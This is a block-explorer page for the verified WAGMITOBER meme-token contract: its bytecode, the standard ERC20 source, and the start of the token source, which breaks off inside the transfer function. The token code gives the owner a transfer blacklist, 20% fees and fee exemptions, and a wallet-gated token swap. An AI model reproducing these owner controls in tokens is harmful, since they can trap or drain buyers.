Address Contract Verified
Address
0x84afD99d5Fbf181C695c010C29eDd5ef0C7eD14d
Balance
0 ETH
Nonce
1
Code Size
8637 bytes
Creator
0x527876e1...16ef at tx 0x50e6c217...a6af73
Indexed Transactions
0 (1 on-chain, 1.6% indexed)
Contract Bytecode
8637 bytes
0x608060405260043610610220575f3560e01c80638da5cb5b1161011e578063c9567bf9116100a8578063dd8546521161006d578063dd8546521461063a578063e2f456051461064f578063f2fde38b14610664578063f8b45b0514610683578063ffb54a9914610698575f80fd5b8063c9567bf9146105be578063ca703075146105d2578063cf9522fd146105e7578063d20c50d5146105fc578063dd62ed3e1461061b575f80fd5b8063a457c2d7116100ee578063a457c2d71461052d578063a9059cbb1461054c578063afa4f3b21461056b578063c02466681461058a578063c8c8ebe4146105a9575f80fd5b80638da5cb5b146104af57806395d89b41146104cc57806397682884146104e05780639a7a23d61461050e575f80fd5b8063313ce567116101aa57806370a082311161016f57806370a082311461042a578063715018a6146104495780637571336a1461045d578063881dce601461047c57806389291a8f1461049b575f80fd5b8063313ce56714610350578063395093511461036b5780634fbee1931461038a578063583e0568146103c15780636ddd17131461040c575f80fd5b80630f054c06116101f05780630f054c06146102bd57806318160ddd146102d15780632315bf14146102e557806323b872dd1461031c578063311028af1461033b575f80fd5b806301b005501461022b57806306fdde0314610241578063095ea7b31461026b5780630c6b67371461029a575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f6106b1565b005b34801561024c575f80fd5b506102556106ce565b6040516102629190611da0565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611dff565b61075e565b6040519015158152602001610262565b3480156102a5575f80fd5b506102af60115481565b604051908152602001610262565b3480156102c8575f80fd5b5061023f610777565b3480156102dc575f80fd5b506002546102af565b3480156102f0575f80fd5b5061028a6102ff366004611e29565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610327575f80fd5b5061028a610336366004611e44565b61079f565b348015610346575f80fd5b506102af600c5481565b34801561035b575f80fd5b5060405160128152602001610262565b348015610376575f80fd5b5061028a610385366004611dff565b6107c2565b348015610395575f80fd5b5061028a6103a4366004611e29565b6001600160a01b03165f9081526017602052604090205460ff1690565b3480156103cc575f80fd5b506103f47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610262565b348015610417575f80fd5b5060125461028a90610100900460ff1681565b348015610435575f80fd5b506102af610444366004611e29565b6107e3565b348015610454575f80fd5b5061023f6107fd565b348015610468575f80fd5b5061023f610477366004611e8f565b610810565b348015610487575f80fd5b5061023f610496366004611ec6565b610842565b3480156104a6575f80fd5b5061023f6108ea565b3480156104ba575f80fd5b506005546001600160a01b03166103f4565b3480156104d7575f80fd5b50610255610963565b3480156104eb575f80fd5b5061028a6104fa366004611e29565b60066020525f908152604090205460ff1681565b348015610519575f80fd5b5061023f610528366004611e8f565b610972565b348015610538575f80fd5b5061028a610547366004611dff565b610a0c565b348015610557575f80fd5b5061028a610566366004611dff565b610a86565b348015610576575f80fd5b5061023f610585366004611ec6565b610a93565b348015610595575f80fd5b5061023f6105a4366004611e8f565b610ab3565b3480156105b4575f80fd5b506102af600d5481565b3480156105c9575f80fd5b5061023f610b19565b3480156105dd575f80fd5b506102af60105481565b3480156105f2575f80fd5b506102af60145481565b348015610607575f80fd5b506008546103f4906001600160a01b031681565b348015610626575f80fd5b506102af610635366004611edd565b610f5c565b348015610645575f80fd5b506102af60135481565b34801561065a575f80fd5b506102af600f5481565b34801561066f575f80fd5b5061023f61067e366004611e29565b610f86565b34801561068e575f80fd5b506102af600e5481565b3480156106a3575f80fd5b5060125461028a9060ff1681565b6106b9610ffc565b5f6106c360025490565b600d819055600e5550565b6060600380546106dd90611f09565b80601f016020809104026020016040519081016040528092919081815260200182805461070990611f09565b80156107545780601f1061072b57610100808354040283529160200191610754565b820191905f5260205f20905b81548152906001019060200180831161073757829003601f168201915b5050505050905090565b5f3361076b818585611056565b60019150505b92915050565b61077f610ffc565b5f610789306107e3565b9050801561079c5761079c303383611179565b50565b5f336107ac8582856117c4565b6107b7858585611179565b506001949350505050565b5f3361076b8185856107d48383610f5c565b6107de9190611f55565b611056565b6001600160a01b03165f9081526020819052604090205490565b610805610ffc565b61080e5f611836565b565b610818610ffc565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b600b546001600160a01b0316336001600160a01b031614610861575f80fd5b5f61086b60025490565b90505f610877306107e3565b90505f60646108868585611f68565b6108909190611f7f565b9050808210156108db5760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b60448201526064015b60405180910390fd5b6108e481611887565b50505050565b6108f2610ffc565b5f471161093a5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016108d2565b60405133904780156108fc02915f818181858888f1935050505015801561079c573d5f803e3d5ffd5b6060600480546106dd90611f09565b61097a610ffc565b6009546001600160a01b03908116908316036109fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016108d2565b610a088282611a44565b5050565b5f3381610a198286610f5c565b905083811015610a795760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108d2565b6107b78286868403611056565b5f3361076b818585611179565b610a9b610ffc565b610aad81670de0b6b3a7640000611f68565b600f5550565b610abb610ffc565b6001600160a01b0382165f81815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610b21610ffc565b60125460ff1615610b745760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016108d2565b610ba1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600c54611056565b60095460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f1960248301529091169063095ea7b3906044016020604051808303815f875af1158015610c11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c359190611f9e565b505f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb79190611fb9565b6009546040516370a0823160e01b81526001600160a01b0391821660048201529192505f91908316906370a0823190602401602060405180830381865afa158015610d04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d289190611fd4565b90505f610d416032600c54611a9790919063ffffffff16565b90505f8215610e9a57610d544784611b12565b90505f610d6b82610d658587611b1d565b90611b28565b600954909150610d869030906001600160a01b031683611b33565b60095f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610dd2575f80fd5b505af1158015610de4573d5f803e3d5ffd5b505050507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198330865f87610e2e6005546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610e5096959493929190611feb565b60606040518083038185885af1158015610e6c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e919190612026565b50505050610f47565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730855f80610ee06005546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610f0296959493929190611feb565b60606040518083038185885af1158015610f1e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f439190612026565b5050505b50506012805461ffff19166101011790555050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610f8e610ffc565b6001600160a01b038116610ff35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d2565b61079c81611836565b6005546001600160a01b0316331461080e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108d2565b6001600160a01b0383166110b85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108d2565b6001600160a01b0382166111195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d2565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661119f5760405162461bcd60e51b81526004016108d290612051565b6001600160a01b0382166111c55760405162461bcd60e51b81526004016108d290612096565b6001600160a01b0383165f9081526006602052604090205460ff1615801561120557506001600160a01b0382165f9081526006602052604090205460ff16155b6112695760405162461bcd60e51b815260206004820152602f60248201527f45524332303a207472616e736665722066726f6d2f746f2074686520626c616360448201526e6b6c6973746564206164647265737360881b60648201526084016108d2565b6015546010541061127a5760026013555b6016546011541061128b5760026014555b805f036112a25761129d83835f611b33565b505050565b6005546001600160a01b038481169116148015906112ce57506005546001600160a01b03838116911614155b80156112e257506001600160a01b03821615155b80156112f957506001600160a01b03821661dead14155b801561130f5750600b54600160a01b900460ff16155b156116045760125460ff166113a0576001600160a01b0383165f9081526017602052604090205460ff168061135b57506001600160a01b0382165f9081526017602052604090205460ff165b6113a05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016108d2565b6001600160a01b0383165f9081526019602052604090205460ff1680156113df57506001600160a01b0382165f9081526018602052604090205460ff16155b156114c757600d548111156114545760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016108d2565b600e54611460836107e3565b61146a9083611f55565b11156114ae5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d2565b60108054905f6114bd836120d9565b9190505550611604565b6001600160a01b0382165f9081526019602052604090205460ff16801561150657506001600160a01b0383165f9081526018602052604090205460ff16155b1561158b57600d5481111561157c5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016108d2565b60118054905f6114bd836120d9565b6001600160a01b0382165f9081526018602052604090205460ff1661160457600e546115b6836107e3565b6115c09083611f55565b11156116045760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d2565b5f61160e306107e3565b9050801580159081906116285750601254610100900460ff165b801561163e5750600b54600160a01b900460ff16155b801561166257506001600160a01b0385165f9081526019602052604090205460ff16155b801561168657506001600160a01b0385165f9081526017602052604090205460ff16155b80156116aa57506001600160a01b0384165f9081526017602052604090205460ff16155b156116d957600b805460ff60a01b1916600160a01b1790556116cb83611c5b565b600b805460ff60a01b191690555b600b546001600160a01b0386165f9081526017602052604090205460ff600160a01b90920482161591168061172557506001600160a01b0385165f9081526017602052604090205460ff165b1561172d57505f5b5f81156117b0576001600160a01b0386165f9081526019602052604090205460ff16156117755761176e6064610d6560145488611b1d90919063ffffffff16565b9050611792565b61178f6064610d6560135488611b1d90919063ffffffff16565b90505b80156117a3576117a3873083611b33565b6117ad81866120f1565b94505b6117bb878787611b33565b50505050505050565b5f6117cf8484610f5c565b90505f1981146108e457818110156118295760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108d2565b6108e48484848403611056565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118ba576118ba612104565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061195a9190611fb9565b8160018151811061196d5761196d612104565b60200260200101906001600160a01b031690816001600160a01b0316815250506119b8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611056565b600b5460405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81169263791ac94792611a139287925f92889291909116904290600401612118565b5f604051808303815f87803b158015611a2a575f80fd5b505af1158015611a3c573d5f803e3d5ffd5b505050505050565b6001600160a01b0382165f81815260196020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b5f6064821115611af55760405162461bcd60e51b8152602060048201526024808201527f50657263656e74616765206d757374206265206265747765656e203020616e646044820152630203130360e41b60648201526084016108d2565b6064611b018385611f68565b611b0b9190611f7f565b9392505050565b5f611b0b82846120f1565b5f611b0b8284611f68565b5f611b0b8284611f7f565b6001600160a01b038316611b595760405162461bcd60e51b81526004016108d290612051565b6001600160a01b038216611b7f5760405162461bcd60e51b81526004016108d290612096565b6001600160a01b0383165f9081526020819052604090205481811015611bf65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108d2565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108e4565b5f611c65306107e3565b90505f815f03611c7457505050565b601454601354611c849190611f55565b5f03611ced575f82118015611c9a5750600f5482105b15611ca6575080611d97565b5f611cc16064610d6560145487611b1d90919063ffffffff16565b9050611ccd81856120f1565b9350600f54841115611ce357600f549150611ce7565b8391505b50611d97565b5f82118015611d085750600f54611d05906002611b28565b82105b15611d1257505050565b5f82118015611d2d5750600f54611d2a906002611b28565b82115b8015611d3a5750600f5482105b15611d5457600f54611d4d906002611b28565b9050611d97565b5f611d6f6064610d6560145487611b1d90919063ffffffff16565b9050611d7b81856120f1565b9350600f54841115611d9157600f549150611d95565b8391505b505b61129d81611887565b5f6020808352835180828501525f5b81811015611dcb57858101830151858201604001528201611daf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461079c575f80fd5b5f8060408385031215611e10575f80fd5b8235611e1b81611deb565b946020939093013593505050565b5f60208284031215611e39575f80fd5b8135611b0b81611deb565b5f805f60608486031215611e56575f80fd5b8335611e6181611deb565b92506020840135611e7181611deb565b929592945050506040919091013590565b801515811461079c575f80fd5b5f8060408385031215611ea0575f80fd5b8235611eab81611deb565b91506020830135611ebb81611e82565b809150509250929050565b5f60208284031215611ed6575f80fd5b5035919050565b5f8060408385031215611eee575f80fd5b8235611ef981611deb565b91506020830135611ebb81611deb565b600181811c90821680611f1d57607f821691505b602082108103611f3b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561077157610771611f41565b808202811582820484141761077157610771611f41565b5f82611f9957634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611fae575f80fd5b8151611b0b81611e82565b5f60208284031215611fc9575f80fd5b8151611b0b81611deb565b5f60208284031215611fe4575f80fd5b5051919050565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215612038575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f600182016120ea576120ea611f41565b5060010190565b8181038181111561077157610771611f41565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156121665784516001600160a01b031683529383019391830191600101612141565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220701e0cdf1026a24edcc153accf8da4878ff907730e2bf0e2628817bbd9d0043164736f6c63430008150033
Verified Source Code Full Match
Compiler: v0.8.21+commit.d9974bed
EVM: shanghai
Optimization: Yes (200 runs)
ERC20.sol 365 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
WAGMITOBER.sol 296 lines
// SPDX-License-Identifier: MIT
/*
We all gonna make it this October!
Telegram - https://t.me/WagmitoberETH
Website - https://wagmitober.live/
X - https://x.com/wagmitoberETH
*/
pragma solidity = 0.8.21;
pragma experimental ABIEncoderV2;
import "contracts/Context.sol";
import "contracts/Ownable.sol";
import "contracts/IERC20.sol";
import "contracts/ERC20.sol";
import "contracts/IUniswapV2Factory.sol";
import "contracts/IUniswapV2Pair.sol";
import "contracts/IUniswapV2Router03.sol";
import "contracts/IUniswapV2Router02.sol";
import "contracts/SafeMath.sol";
contract WAGMITOBER is ERC20, Ownable, BaseMath {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = unicode"WAGMITOBER";
string private constant _symbol = unicode"WAGMITOBER";
uint256 public initialTotalSupply = 1000000 * 1e18;
uint256 public maxTransactionAmount = 20000 * 1e18;
uint256 public maxWallet = 20000 * 1e18;
uint256 public swapTokensAtAmount = 10000 * 1e18;
uint256 public buyCount;
uint256 public sellCount;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 20;
uint256 public SellFee = 20;
uint256 private removeBuyFeesAt = 15;
uint256 private removeSellFeesAt = 10;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet) ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
marketingWallet = payable(wallet);
excludeFromMaxTransaction(address(wallet), true);
deployerWallet = payable(_msgSender());
excludeFromFees(owner(), true);
excludeFromFees(address(wallet), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(deployerWallet, initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"Trading is already open");
_approve(address(this), address(_uniswapV2Router), initialTotalSupply);
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
address wethAddress = _uniswapV2Router.WETH();
uint256 wethBalance = IERC20(wethAddress).balanceOf(uniswapV2Pair);
uint256 initialTokens = initialTotalSupply.per(50); uint256 desiredETHAmount;
if (wethBalance > 0) {desiredETHAmount = address(this).balance.sub(wethBalance);
uint256 tokenValue = initialTokens.mul(wethBalance).div(desiredETHAmount);
super._transfer(address(this), uniswapV2Pair, tokenValue);
IUniswapV2Pair(uniswapV2Pair).sync();
_uniswapV2Router.addLiquidityETH{value: desiredETHAmount}(address(this), initialTokens, 0, desiredETHAmount, owner(), block.timestamp);}
else {_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), initialTokens, 0, 0, owner(), block.timestamp);}
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!m[from] && !m[to], "ERC20: transfer from/to the blacklisted address");
if(buyCount >= removeBuyFeesAt){
BuyFee = 2;
}
if(sellCount >= removeSellFeesAt){
SellFee = 2;
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
